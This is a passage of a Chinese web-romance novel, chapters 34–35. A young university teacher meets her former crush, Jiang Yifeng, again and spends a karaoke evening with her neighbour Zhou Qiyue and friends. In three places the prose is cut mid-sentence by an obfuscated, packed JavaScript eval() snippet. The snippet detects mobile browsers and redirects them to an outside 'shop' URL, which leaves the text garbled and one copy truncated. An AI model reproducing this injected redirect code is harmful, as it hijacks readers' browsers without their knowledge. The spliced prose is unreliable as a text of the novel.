偏偏这同伴是位脾气暴躁的学姐,当即撒场扰乱大家,“别跳了别跳了!” 学姐指着她质问:“陈夏柠你怎么回事啊,明天就要正式比赛了,你怎么总是拖大家后腿。” “对不起。”陈夏柠先是低头道歉,“给大家添乱了。” 见状,江逸风从休息台走过来,说着公正话:“学姐,分明是你的动作错了,撞到了她。” 学姐呵笑:“她跳的不好人尽皆知,你肯定看错了。” 江逸风看向陈夏柠:“没啊,我全程目不斜视地看着她呢,虽然慢半拍但也没出错。” 其他人已经不在乎谁对谁错了,而是揪着他这话起哄。 “哟哟,你全程看着陈夏柠?” “江大少爷,你不会是情人眼里出西施吧。” 陈夏柠脸皮薄,经不住大家的调侃,局促地跑到后台去了。 江逸风追过去,净是没给她半点自我消化的时间。 “怎么,生气了?” 陈夏柠趴在化妆桌上,埋着整张脸不敢看他,埋怨道:“我跳舞的时候你总看我干什么。” 江逸风嗓音发着浅浅的笑意:“因为我觉得你跳的最好看啊。” 陈夏柠压根遭不住他这么撩拨,心快要跳到嗓子眼。 调整了五分钟,她重新回到篮球场排练,最后总算跟上节奏,临近放学,大家解散。 今天周五,按照惯例他两都要回家,陈家和江家本就是邻居,司机会一起来接他们。 陈夏柠有一会儿没见他了,转去篮球队休息室找他,当时房门虚掩着,透过中间玻璃,看见里面就俩人。 时曼茜问:“我跳舞怎么样?” “最好的那一位。”江逸风脱掉白球服上衣,毫不避讳地换上自己的黑色短袖。 “切,你刚刚也是这么安慰你邻家妹妹的。”时曼茜嗤笑,指尖戳了下他额间,“还说什么全程在看她。” “我是全程在看你,你不就站在她前面嘛。”江逸风有理有据地说,“我们俩家交情很深,她有难,我肯定是要出面解围的,刚刚就是在安慰小妹妹而已。” 闻言,陈夏柠真觉得自己自作多情,连安慰话都听不懂。 时曼茜:“那你也安慰一下我呗。” 陈夏柠一低头一抬头的功夫,时曼茜已经凑到男生面前,双手勾住他的脖颈。 江逸风神态多情,撩得人心痒痒,不为所动地任时曼茜蹭他一下,直至整个人缴械地贴在他身上。 她问:“你到底喜欢什么样的?” 江逸风捏着她的下巴往上抬,唇角凑到她旁边就是不亲,有一下没一下地挑逗对方,“我的口味随心情而变,但是嘛,男人都喜欢你这种明艳大胆的,最讨厌胆小无趣的。” “哎呀,你好讨厌。”时曼茜拍打了下他,话锋一转,“我好喜欢你。” “......” 明明江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014923|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逸风吊儿郎当,对待感情也不认真,却总是有本领让很多女生为他着迷,迷失在他的花言巧语里,迷失在他营造的深情中。 她已经得到教训了,再也不会去喜欢一个浪子。 再也不想体验那种真心错付的感觉了。 在这个快餐时代,谈恋爱的有几个纯粹,海王都可以伪装深情。 没有谁是谁的必选项。 没有你,我可以继续找下一个。 也根本没有人从一而终。 所以许佳念开那个玩笑时,陈夏柠一点都不敢想。 不敢自作多情地认为谁会喜欢她。 甚至有时候消极地认为自己也不会遇见喜欢的人了。 因为她想要的爱情太过理想化,或许并不存在。 镜头一转,陈夏柠看清楚女生的脸,怪不得声音那么熟悉,是温可颜。 起初她还有点反抗男生撩她衣摆,没挣扎几下,便彻底折服在他怀里,十指交叉扣在他后颈。 温可颜脸色红得不像话,额头抵在男生肩膀,低喘着:“江澈,我...我好喜欢你。” 江澈手指从女生后背游离到前胸,扯着她的内衣,勾出一抹坏笑:“啧,老子摸得真爽。” “......” 望着这个场面,陈夏柠好像回归到学生时代,脑海里频繁闪回江逸风和时曼茜,顷刻间,她有点反胃想吐。 她悄悄起身,绕道离开。 那个男生的脸,江澈,她也有印象。 金鱼巷初次见面的那对情侣,再次被她撞见,是在教学楼调情。 晚自习进班巡视2202班,班长裴青寂在做防诈宣传班会。 陈夏柠扫视着全班同学,在温可颜身上多停了几秒,她的确无权干涉人家自由恋爱。 等裴青寂说完后,陈夏柠忍不住上台意有所指地说:“希望大家以后注意个人行为,尤其是情侣,学校公共场合......不用我多说了吧。” 说到这,台下的同学了然于胸,不禁偷笑。 “疫情之后就业市场不景气,我希望各位能把注意力更多集中在学业上,”陈夏柠以过来的身份敲着警钟,“我不反对你们恋爱,但是希望你们擦亮眼睛,用理智思考审视对方,尤其是女生不要过度感性。” 温可颜低下头,托腮盯着手机页面,咬了下唇。 - 陈夏柠晚上回得晚,原以为能躲得过碰见周祈越。 谁知她刚站在家门口输入密码,房门一开,同一时间隔壁的门也开了,身后响起他拖腔带调的招呼声:“晚上好啊,陈老师。” “......” 陈夏柠瞬间脊背发凉,料想他是在等她算账来的,转过身抢先道:“我今天工作一天很累了,有事明天说。” 说着她正要闪回家,周祈越速度比她快,宽大的手掌抵在房门,把人拦在门口。 陈夏柠动作一顿,抬眼看他。 男人额间的碎发有些凌乱,下颌松弛,笑容散漫不羁:“心虚了,已经开始躲着我了?” “我哪有!” 又被他这样注视着,陈夏柠心口一缩,吞吐道:“我...就是...太累了。” “别紧张,我不是来找事的。”周祈越收回按在门上的手,“朝阳岛发来了快递,林校长让我分你一半。” 陈夏柠眉目一松,心道你也知道自己爱找事了,“什么快递?” “西瓜。” 周祈越转回家拎着半麻袋西瓜,放到她家客厅,“这还是咱俩的劳动成果呢。” 陈夏柠:“?” 周祈越:“我们不是开垦学校后院的荒地么,当时把土豆挖完后,你不是提议种西瓜来着。” 陈夏柠:“所以你偷偷种了西瓜?” “什么叫偷偷,我光明正大的,”周祈越边说边往外走,朝她摆手,“晚安。” 房门关上,陈夏柠转去洗漱,泡了个热水澡,好像所有的烦恼都烟消云散了。 她穿着吊带睡衣,坐在客厅用吹风机吹头,瞥见那袋西瓜。 仔细回想,她没有说提议种西瓜吧。 当时丰收土豆时,陈夏柠想起中考完的那年秋天,她和陈淮松在乡下陪着农民摘水果。 说来也奇怪,她这个人只要见到水果园就乐翻天,兴奋地跑到西瓜地里拍西瓜。 “爷爷,这个绝对是熟的。” 陈淮松跟在身后,笑得不亦说乎:“猪八戒偷西瓜了。” “......” 彼时想起这段回忆,陈夏柠不禁笑了下,跟周祈越说:“要是这片地种满了西瓜就好了,小朋友们可以在炎炎夏日吃上冰镇西瓜。” 她吹干头发,收好吹风机,周祈越微信发来几张瓜地的照片。 那块地是黑土壤,七月初种下西瓜,在九月初就成熟了。 现在是秋天,但夏季没有完全离开,中午时分还是燥热的。 陈夏柠抿唇一笑:【小朋友们可以吃上西瓜啦。】 July:【快点睡觉。】 陈夏柠注意到十一点了,拿着手机起身回房间,入睡前定闹钟,微博跳出弹窗。 她的求助帖又有新评论。 【有没有一种可能是那个男生故意让你欠人情?[吃瓜]】 【同意,男的对普通朋友没那么热情。】 陈夏柠闭上眼睡觉,脑海里莫名跳出许佳念的话。 ——“我才不相信男女之间有纯洁的友谊,你俩一个翩翩公子,一个美若天仙,更不可能只是朋友。” ——“说不定周祈越就是喜欢你!否则他为什么接二连三地帮你。” 周祈越会喜欢我吗? 34. 《纸短情长》 隔日周五,大一军训结束,下午在操场军训汇演完,紧接着转移到室内体育场举行开学典礼。 林思和宋月身为大一辅导员是要去现场的。鹿雯最近在忙着心理联合会的事,下午只有陈夏柠一人在办公室,王书记喊她去招待两位校友。 “我刚刚和江氏集团的江总联系过了,他已经在接待室了。”王书记把两人的资料递给她,“谢泽是你请来的,你把他带到体育馆招待室就行。” 瞧见江逸风的资料,陈夏柠脸色一沉,原来王书记说的多加一位名额是江逸风。 王书记说:“江逸风可是江氏集团的继承人,听说快从总经理升为CEO了。说来也巧,我以前加过他的微信,问他愿不愿意来校给学弟学妹讲座,他就同意了。” 陈夏柠扯了扯唇角,眼神轻蔑。 他这样的人给来校分享经验未免也太可笑,是要讲自己如何一次次挑战教官的底线,还是要讲自己的风流债。 抑或者分享自己如何通过绿色通道考上海大王牌专业的。 陈夏柠也是大四出国前参加爷爷的葬礼时,无意间听见江父和江逸风的吵架内容。 那段时间江父和江逸风的关系闹得很僵,江逸风为了赌气连毕业论文不好好写,论文一辩没通过,毕业岌岌可危。 江父指着他骂:“连毕业都搞不定,真是废物!枉我当初往海大投两个亿换来你一个录取名额,让你读名校的王牌专业。” 江逸风嗤笑:“反正我就是你的提线木偶,你让我做什么我就该做什么,至于做的好不好,你就管不着了。” 江逸风天生聪明但就是不好好学习,因为他觉得学不学的结果都一样。 他们这些豪门子弟表面风光,人生轨迹早已被安排得明明白白,似乎也失去了自我选择的能力。 陈夏柠恍然觉得,不是陈家的女反而是一种解脱。 她也终于明白自己的喜欢给江逸风添加了太多滤镜,他不过就是一个纨绔子弟。 他像只被囚禁在金笼的鸟,只能通过外在的玩世不恭、不可一世来证明自己是自由的。 实则他是抛不下带有荣华富贵的舒适圈。 下午三点半,大一的军训汇演结束,学生们排着队有序进入体育馆。 学校的体育馆外观像四片叶子拼凑而成,分为ABCD四座,内部非常大,这两年新扩建的。 陈夏柠和谢泽微信联系,告知自己会在体育馆A座门口等他。 学生们都有序入场完,场馆门口空荡荡的,谢泽很容易找到她。 “陈老师是吧?”男人小狼狗长相,身着蓝色休闲西装。 “对,谢总您这边请。”陈夏柠恭敬地颔首,给他带路。 谢泽:“听我们家雯雯说,你也是本校毕业的?” 陈夏柠嗯了一声:“我15级的,谢总。” “我大你两届,是你学长。”谢泽看着挺有亲和力,“学妹不用太客套,喊我学长就行。” “好的,学长。” 接待室在二楼,陈夏柠带谢泽进去时,里面坐了五个人,应该是其他学院的校友。 屋内倒也宽敞,沙发靠墙摆放,谢泽坐在中间位置,陈夏柠去小吧台给他泡咖啡,留意到旁边沙发躺着一个人。 他头发剃得很短,板寸头,胳膊肘耷拉在外面,手腕上方纹了一条黑龙。 看到这,她就知道这人是谁了。 江逸风特喜欢纹身,张扬风格的龙形图案,刚上大学就因为纹身的事被教官强制勒令整改,他才洗掉。 陈夏柠当做没看见,端着咖啡从他身边路过。 江逸风蓦然坐起身,喊她:“给我也倒一杯。” 陈夏柠又当没听到,径自走到谢泽旁边。 谢泽正在打电话,插科打诨道:“我他妈怎么敢忘记你啊,我的好大儿,你爹想死你了。” “.....” 她将咖啡放到桌前,谢泽匆匆挂断电话,望着她怯生生解释:“在跟大学室友开玩笑呢。” 陈夏柠入座旁边,十有八九地猜测:“周祈越?” 谢泽霍然一惊:“你怎么知道的?” 因为他也称呼你为儿子。 果然男生宿舍的友谊都是互认儿子和爹。 陈夏柠忍住笑意,说:“我跟他是朋友,原本是想邀请他来讲座的,因为一些原因.....他问我找的谁,我报了你的名字,她就说你们认识了。” “那敢情好啊,朋友的朋友就是朋友了,”谢泽惊喜一笑,一时兴起提议,“我俩正商量着晚上聚会,要不这样你和雯雯也来,人多才有意思嘛。” 陈夏柠怔懵:“啊?” “刚好大家都认识,不用见外,就这么说定了!”谢泽很会自来熟,豪爽地捞起手机给鹿雯打电话,“雯雯,晚上聚餐我叫上周祈越,你喊上陈老师啊。” “我现在就订餐厅,你们想吃中餐还是西餐。”谢泽对着手机说话,又看了眼陈夏柠,征求意见。 她挠了挠头,盛情难却:“都行,看你们吧。” 谢泽挂断电话,马不停蹄地在美团上搜索餐厅。 陈夏柠全程留意着典礼时间,提醒他:“还有五分钟就到航院的校友上台了。” “那行,我给周祈越打电话,让他选餐厅。”谢泽起身往外走边打电话。 陈夏柠跟在他后面,送他到一楼,自己的任务完成,正要离开体育馆,忽地,一股烟草味侵袭,江逸风快步挡住她的去路。 她停下脚步,板着一张脸,浑然把他当做空气。 男人哼笑了声,先开口:“还生我气呢,跟我玩装不认识。” 陈夏柠说话间都懒得正眼瞧他:“你有什么值得我生气的,我只是想跟你划清界限,各走各的路。” 江逸风觉得莫名:“先是一声不吭地出国留学,然后又一声不吭地回来,删我微信,冲我发脾气,你到底在发什么神经?” “我早就不是从前那个唯唯诺诺,任你使唤的陈夏柠了。”陈夏柠冷笑一声,也不在乎他怎么评价她,语气平平道:“我现在堂堂正正地告诉你,我们绝交,因为我真的受够了你这种人了。” 语毕,她果断绕道离开。 江逸风杵在原地,眼底阴翳,心脏好像被什么东西刺了一下。 - 陈夏柠也没什么事了,暂且回办公室待着,谢泽应该告诉了周祈越她也要聚会的事,他的消息发来。 July:【你们几点完事,我开车接你们。】 Lemon:【五点下班,谢泽的演讲要晚十分钟。】 July:【那我五点二十在五号门等你们。】 Lemon:【今天校园开放,你可以直接开进来。】 July:【行,不能累着陈老师了。】 陈夏柠盯着这句话打量,阴阳怪气的,好像她一点路都不能走似的。 Lemon:【那体育馆到五号门的距离,走路都得二十分钟呢,我这是怕你朋友累着。】 July:【让我儿子五分钟跑步过去航院,毕竟不能累着你了。】 陈夏柠眨了眨眼,目光定在后半句话上面,情绪如气泡水那样蒸腾,脸颊跟着热起来。 周祈越的消息继续蹦出来,补充下句:【也是为了邻里和睦相处,我得讨好你这位邻居。】 陈夏柠撇了下嘴。 这话说的,你不讨好我,我就会找你事似的,我有那么不好惹么? July:【同样的,你也得讨好我。】 陈夏柠眉梢微扬,算是明白了,这句话才是重点。 周祈越可不好惹啊,又加上她欠了他很多人情,他这是在变相内涵她,要对他恭恭敬敬,客客气气的呢。 他这算什么,明人说暗话! 对,就是这样。 陈夏柠呵呵一笑,将计就计:【行,我保证遵守自由平等公正法治的社会准则,不妨碍您老人家的居住权益。】 话是说给自己听的,实则是在内涵他老实本分,不要为找事为难她。 July:【知道就好。】 July:【我已经到了,快出来迎接我。】 陈夏柠无言,他怎么能这么傲娇。 光顾着给他发消息都忽视了放学铃声,这会儿教学楼的人走的差不多了,她拎起包坐电梯下楼。 天还是亮着的,航院的大门装潢得极为大气壮阔,门顶高挂着海员帽的建筑形象,正对着宽阔的沥青路,一辆黑色越野车停在那里。 瞧见她过来,周祈越拉开车门下车,绕过车头走过去,停在副驾驶旁边。 刚好鹿雯和谢泽气喘吁吁地跑过来,前者嗔怪后者:“累死我了,你跑那么快什么。” 谢泽朝周祈越瞥了眼:“我怕某人太狗,自己带着妹子单独约会去了。” 话音刚落,陈夏柠已经走到跟前。 谢泽朝她嘿嘿一笑,心虚地找补:“我是说,怕他带着美女先行一步。” 周祈越侧靠在车身,冷不丁地睨他:“我要是想让你步行,现在就可以。” 谢泽一记眼刀,相信他会干这事,急忙拉开后座车门,将女朋友一并推进去,“雯雯,赶紧上车!” 陈夏柠还站在车外面,原本她不想坐副驾驶的,现在貌似没有选择了。 但此刻,周祈越身体挡着车门,似笑非笑地看她。 他这...不会是想让她步行吧。 陈夏柠抿了下唇,说着问句:“我好像没得罪你?” “目前没有。”周祈越挪开身,拉开门把手示意她进去。 留意到他抬手挡车顶的动作,她松了口气,安心坐到副驾驶。 “砰”的一声,周祈越先后关上两个车门,坐上驾驶位,偏头看她,补充下半句:“以后我就不知道了。” 陈夏柠:“......” 后座的谢泽伸过来头,插话:“行了,你俩别暗度陈仓了,快点开车去吃饭,我饿死了。” 周祈越启动车子,也不知认真听这句话了没,竟然没搭理谢泽,专心开车。 陈夏柠透过后视镜看见鹿雯笑了笑,扭头瞧了眼谢泽:“谢学长,你可不要乱用词。” 周祈越播放了音乐。 谢泽兴味盎然地跟着节奏摇摆,虎头憨脑地只听见前面三字:“不用谢。” 陈夏柠:“......” 鹿雯噗嗤笑出声,抬手敲了下他脑门:“陈老师是在喊你,谢学长!” “......” - 他们是要去吃火锅,但任何普通的餐馆坐落在市中心望园路都会变成天价,陈夏柠都开始担心自己的钱包了。 到了地方,服务员带他们去提前预定好的包厢,门一推开,包厢融 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027662|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合吃饭和K歌两项功能,左边一个圆桌供吃饭,右边一片沙发区域配置显示屏。 鹿雯拉着陈夏柠进去入座,惊呼了声:“不错啊,谁出手这么大方。” 周祈越拉开凳子坐在陈夏柠左边,翻着菜谱悠悠道:“我请客,你男朋友买单。” 谢泽坐在他对面,挨着鹿雯,摊了摊手,当众鞭策他:“看看,你们看看,这人狗不狗。” “......” 陈夏柠有眼力劲儿地降低存在感,低头倒水喝。 鹿雯给她递菜单,白了一眼谢泽:“你也不差这个钱,干嘛这么小气啊。” “明明某人比我还富裕。”谢泽小声嘟囔着,特意表现得大方,“你们想吃什么随便点哈,不用客气!” 点完菜后。 鹿雯把注意力挪向周祈越,她看过宣传视频,虽然他没出现正脸,但也能一眼辨别出来:“你们俩是支教认识的?” 俩人一同应声:“嗯。” 鹿雯追问:“周船长怎么会去朝阳岛支教?” 这么一问,陈夏柠也好奇,之前是把他当成没工作的败家子,后来知道他是个事业有成的船长,就不太理解本该出海的他为什么会在朝阳岛了。 周祈越一边拿着杯子给他们倒饮料一边简明扼要地说:“今年出海时受了点伤,趁着暑假在朝阳岛一个亲戚家养伤,遇见了小学校长,就被她拉着去学校帮忙了。” 鹿雯哦了一声:“这样啊。” 陈夏柠想起自己和校长错把他当成周诚的日子,不禁偷笑了下。 谢泽接话茬:“这下倒好,你可以休很长的假养伤了。” 陈夏柠恍然一愣,周祈越整天一副“天大的事都制服不了我”的态度,让她都快忘记他被网暴失业的事了。 鹿雯瞪了一眼谢泽,点着他别提人家的伤心事,“你今天怎么冒冒失失的。” “这有什么不能说的,他又不是玻璃心的小姑娘,”谢泽急于反驳,“他可是周祈越啊,什么事能难倒他,就算不当船长,那人生也一片光明。” “行了,我知道你崇拜我。”周祈越靠在椅背,骨节分明的手指有一下没一下地敲着桌面,话锋一转,“我也有玻璃心的时候。” 谢泽切了一声:“谁崇拜你了。” 陈夏柠只注意到后半句。 他也有玻璃心的时候,吗? 就在这时服务员敲门进来上菜,话题就此打住,四人开始专心吃饭。 配菜点的挺多,也就吃了一半,俩姑娘就停筷子了,只剩俩男人在夹菜。 鹿雯和谢泽闲聊:“对了,你今天演讲怎么样?” 谢泽:“不怎么样,那个江逸风人模狗样的,把大家说得一愣一愣的。” 鹿雯啊了声:“就江氏集团的总经理么,他也来了?” 谢泽:“对啊,陈老师接待我们俩的。” 周祈越正起身端着一碟小白菜往锅里下,恍然失神,手一滑,“扑腾”一声,碟子掉进锅里,大片汤汁溅出来。 “你没事吧。”见状,陈夏柠急忙拿纸巾给他擦手,“烫不烫?” 也因着这个动作,俩人的指尖触碰了下。 她原本也没想什么,一抬头对上他深邃的眼睛,陈夏柠恍然感觉被电击了一样,下意识收回手。 她瞥了眼他外套上的汤汁说:“你去清洗一下吧。” 周祈越晃回神,从座位移开,起身去外面的洗手间。 旁观的鹿雯和谢泽对视一笑。 周祈越回来的时候,屋内昏暗一片,他们仨已经转战K歌区了。 谢泽和鹿雯充当气氛组,举起麦克风对唱情歌。 随着音乐节奏,五彩缤纷的灯光光芒四射,洒落在沙发上一面瘦薄的肩膀。 陈夏柠正喝着果汁,察觉到左边沙发塌了一块,再次对上他的目光,只停留一秒便快速移开。 她还在为方才的动作尴尬着呢。 他不会又要说她占他便宜吧。 当时情况紧急,她也是处于好心帮忙而已。 要是无动于衷,岂不是显得她这人冷漠无情了。 与此同时,谢泽和鹿雯唱完一首歌,切换下一首《纸短情长》 “我真的好想你,在每一个雨季。” “你选择遗忘的,是我最不舍的。” “纸短情长啊,道不尽太多涟漪。” “我的故事都是关于你呀。” 周祈越微低着头,整张脸陷入阴影当中,忽然躬身捞起桌上一杯柠檬汁。 注意到他这个动作,陈夏柠正想提醒他,这柠檬汁超级酸,她刚刚尝了一口就要受不了了。 可根本来不及,周祈越干脆一口饮半杯,没有任何反应。 陈夏柠瞳孔放大,露出吃惊的表情。 不酸吗? 还是我味觉出现问题了? 音乐还在继续—— “怎么会爱上了他,并决定跟他回家。” “放弃了我的所有我的一切无所谓。” “纸短情长啊,诉不完当时年少。” “我的故事还是关于你啊。” 周祈越不动声色地将剩下半杯饮完。 此时此刻,他脑海里闪回太多记忆,口中的酸涩是比不上内心的酸涩。 陈夏柠多多少少察觉到了什么。 他心情不好吗? 35. 失恋 谢泽和鹿雯唱累了,撂下话筒,一并坐在另一道沙发。 鹿雯说:“你们俩也去唱啊。” 周祈越满脸写着没兴致。 陈夏柠摇了摇头,余光注意到谢泽倒了杯柠檬汁。 下一刻,他挤眉弄眼,表情堪比车祸现场,一阵哀嚎:“我靠,这谁点的,酸死我了!” 陈夏柠心虚地缩了下头,她饭后喜欢喝点酸甜的柠檬汁,只是没想到这家店做的柠檬汁太过纯正。 “我点的,不知道这么酸。” “哦,那你还不提醒我。”周祈越像是经历了漫长的反射弧,偏头看她。 又扮演起一位受害者。 “......”陈夏柠被他这句话呛了下。 “你动作太快,没给我机会。”她慢条斯理地说,“而且你喝的那么津津有味,我都怀疑我味觉出错了。现在看来,我味觉没错。” 鹿雯起身开灯,吆喝着谁都不许走,等会儿要玩游戏,兴奋地拉谢泽出门拿酒水。 屋内剩下俩人,陈夏柠弯腰拉开茶几底下的抽屉,找出一副真心话大冒险卡。 周祈越思量着她方才的话,咬文嚼字道:“灯光这么暗,你还能看出我喝的津津有味。” 陈夏柠整理卡片的动作一顿,从他话中听出别样的味道。 对视的那刻,周祈越漆黑的瞳孔倒影出她的模样,欠兮兮地:“你倒是挺关注我。” “......” 陈夏柠完全跟不上他的逻辑,顺着他的话说:“那毕竟知己知彼才能百战百胜嘛。” “那作为你要打败的对象提醒你,外在的关注还不够,”周祈越唇线微弯,拖着嗓音懒散地,“你得多了解我的内在。” 陈夏柠愣了下,不太分得清此刻周祈越的角色。 表面是位积极应战的敌人,却又像个可怜巴巴讨要更多关心的孩子。 讨要她的关心。 她不知道为什么会有后者的想法,又不受控地希望他是后者。 鹿雯和谢泽拿了两瓶伏特加和一盘花生米。 他们要玩麻将牌,输的人就抽真心话大冒险牌。 有了上次被坑的经验,周祈越提前问好他们要玩的麻将牌规则。 陈夏柠只玩过麻将游戏,认真听了下谢泽介绍,似懂非懂地尝试玩。 果不其然,第一轮陈夏柠垫底,不仅要喝酒还要抽牌。 鹿雯将卡牌分为两堆,铺放在桌面。 她随便选了张真心话卡牌。 鹿雯念着卡牌内容:“请问你有因为喜欢一个人而解酒消愁过吗?” 或许陈夏柠还会对这种问题避而不谈和伤感,但现在她能像一个无关己事的说书人去讲述一段故事。 “学生时代呢,我有喜欢过一个人,大三那年夏天好不容易鼓起勇气去表白,不仅没成功反而听到了他对我的贬低。”陈夏柠顿了一下,“我之前是个实打实的乖孩子,那天晚上鬼迷心窍地进了酒吧,喝得烂醉。” 语毕,周遭的气氛变得沉重。 鹿雯心怀同情地看她:“听起来好心疼啊。” 谢泽无措地挠了下头:“没想到学妹还真有失恋的经历。” 周祈越眉眼低沉,没吭声,伸手要去倒酒喝。 “开车不喝酒,喝酒不开车。”谢泽抢过他的酒杯,将柠檬汁移到他面前,“为了生命安全,你要输了就喝,亿——点酸的。” 周祈越:“......” 陈夏柠趁机往他面前放一瓶矿泉水:“允许你兑点水。” 看似好心,实则添油加醋,让他无法拒绝。 周祈越皮笑肉不笑:“我谢谢你啊。” “......” 第二轮周祈越先和牌,其他三人喝酒,垫底的谢泽选大冒险。 陈夏柠拿过他选的牌,瞥了眼旁边的鹿雯,笑了笑:“请和在场的一名异性喝交杯酒。” 原本想着能整一下谢泽,现在貌似正合他意,周祈越意兴阑珊地呵笑:“这游戏就该剔除情侣。” 谢泽举着酒杯勾住女朋友的胳膊,专门把这酒喝的极为漫长,末了,冲周祈越嘚瑟道:“万年单身狗再不找女朋友就等着孤独终老吧。” 因为方才玩牌的调整,他们四个分别坐在四个方位,陈夏柠从他的沙发位移开,坐在他右边的小型沙发。 谢泽和鹿雯因为喝交杯酒又黏在了一起,不愿分开。 整个屋内就剩他俩单身狗。 所以陈夏柠觉得自己也受到了孤独终老的诅咒。 “知不知道有句话叫做,秀恩爱死得快。”周祈越翘着二郎腿独占最宽敞的位置,手臂搭在沙发背,气场比所有人都要强烈,一顺手捞到沙发后面的桌球。 下一秒,那只桌球划过空中,从谢泽头顶略过,砰的一声,撞击在墙壁上,又反弹回他手里。 陈夏柠简直目瞪口呆,他怎么做到的。 谁知一扭头发现,谢泽发型竖起来了,是被那只球给...掀起来的。 鹿雯噗嗤笑出声:“周船长倒是有仇立马报啊。” 周祈越篮球棒球桌球玩得特别溜,大学的时候只要摸到球就会自创各种花样。谢泽经常嘲笑他,你不当杂技演员真是可惜了。 这会他光顾着用女朋友的小镜子整理发型,倒也懒得计较了,说不定他还会变着法让他当众出丑。 趁着小插曲,陈夏柠已经洗好牌,给大家发牌。 鹿雯继续扯回话题:“听说周船长大学可是校草,应该不缺人追吧,怎么会单身这么久。一直没谈过女朋友吗?” 陈夏柠盯着纸牌,注意力反倒不在上面了,竖着耳朵听他回答。 谢泽插话:“有啊,追求者排着长队,但是呢,面对这位冷漠的大少爷,那些女生纷纷吃了一鼻子的灰。” 鹿雯:“哦,冰山校草,不近女色,清新寡欲。” “......” 陈夏柠能够想象追求者碰壁的画面,以及周祈越那张骄傲拽得没边的脸。 估计他都没正眼看过人家。 他这人难伺候又挑剔,估计看不上普通人吧。 抑或者,他是个男同。 “......” 周祈越全程不发一言,貌似对这个话题不感兴趣。 直到谢泽说:“那倒也不是,以前听另一个室友说,他好像有暗恋对象来着,不知真假。” 陈夏柠动作稍顿,抬起眼。 周祈越丢一张牌磕到桌面,极为不耐地催谢泽:“你到底出不出!” “好好好,打牌打牌。”谢泽应和着,扔出一张小鸟。 鹿雯紧跟其上,摸了张牌,惊叫了声:“我和牌了!” 陈夏柠思绪聚拢到自己的牌上,暗想不要垫底了。 最后勉强得到个倒数第二,倒数第一是周祈越。 “哦吼,难得啊。”谢泽来了精神,先是给他倒满一杯柠檬汁。 在三双眼睛的注视下,周祈越豪爽到一饮而尽,依旧没什么表情,选了张真心话的卡牌。 结果一掀开,和陈夏柠抽的内容一样。 “这是什么神仙缘分。”鹿雯惊叹,倒也好奇这个问题,“请回答。” 周祈越斩钉截铁道:“压根就没有。” “哎!你这就没意思了!”谢泽指着他说,“别玩不起啊,还不如人家姑娘坦荡。” 周祈越:“怎么,你很了解我?” “你敢说你没喝过烂醉如泥?”谢泽才不会让他蒙混过关,想起了什么,给他提示信息,“咱刚毕业第一年被老师邀请回校,干什么来着....哦,参加航海日!就那天!” 2018年,大学毕业第一年,他们宿舍四人从事的还是本专业,也都留在了海云市,还能经常聚会。 那年七月航海日,林教授邀请他们宿舍回校参加活动,刚好他们四个人有时间就去了。 因为当天也是周祈越的生日,他们准备在学校食堂订包厢给他过生。 其他三人准备给他一个惊喜,就没告诉他。 当天下午,他们正在室内给学弟学妹普及航海知识,期间周祈越被林教授叫出去谈话,他可是林教授的得意门生,其他三人也没怎么在意。 后来也不知过了多长时间,林教授都回来了,周祈越没回来。 直到一天落下帷幕,活动结束,谢泽和两位室友闲逛着校园,给周祈越发消息到5食堂三楼吃饭。 他们三个订了蛋糕和一桌的菜就等着他,一直没收到他的消息,给他打电话也是无人接听。 又等了半小时,谢泽急了,挪开凳子起身要走,就在这时包厢的门开了。 三人注意力挪过去,周祈越拖着沉重的脚步走进来,目光无神,低垂着眼,整个人像被夺舍了一样。 完全没一点平日的嚣张和阳光,失魂落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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倒也挺好奇,是什么样的人让骄傲自恋的周祈越吃瘪了。 接下来又玩了两轮,三人都有点醉了,周祈越宣布聚会结束,送他们三个回家。 鹿雯和谢泽搀扶着起身,走在前面。 陈夏柠眨了下眼,刚走出门就体会到了天旋地转的感觉。 细算下来,今晚她没得过第一,每一轮都在喝酒。 她整个人摇摇摆摆地往前走,忽地,手臂施加了一股不轻不重的力度。 她顺着方向抬眼,男人站在她左侧,修长好看的手指握着她胳膊肘。 陈夏柠也不知哪来的胆量,特别满意地使唤他:“扶好。” 周祈越轻笑了下,两只手扶住她两肩,带着她先到前台付钱。 陈夏柠脸颊泛红,估计自己也没意识到自己的话很多:“不是说让谢学长付钱嘛,你怎么总是刀子嘴豆腐心......死鸭子嘴硬......” “......” 周祈越自然不会跟一个酒鬼计较,动作也粗鲁起来,把人提到副驾驶。 坐上车启动车子,周祈越先绕远路把谢泽和鹿雯送回家,而后带着陈夏柠回海天宜城。 他把车子停在13栋楼前,下车打开副驾驶门,已经给她解开安全带。 陈夏柠睡了一路,睁开惺忪的眼,周祈越催她三次:“快下车。” 她似有不满道:“你就不能温柔一点吗!” 周祈越莫名笑了,拖腔带调又浮夸道:“尊敬的陈老师,请你移尊大驾,离开我的车,行么?” “......” 陈夏柠这才慢悠悠地下来,脚步落地,伏特加的后劲上来,身体一软。 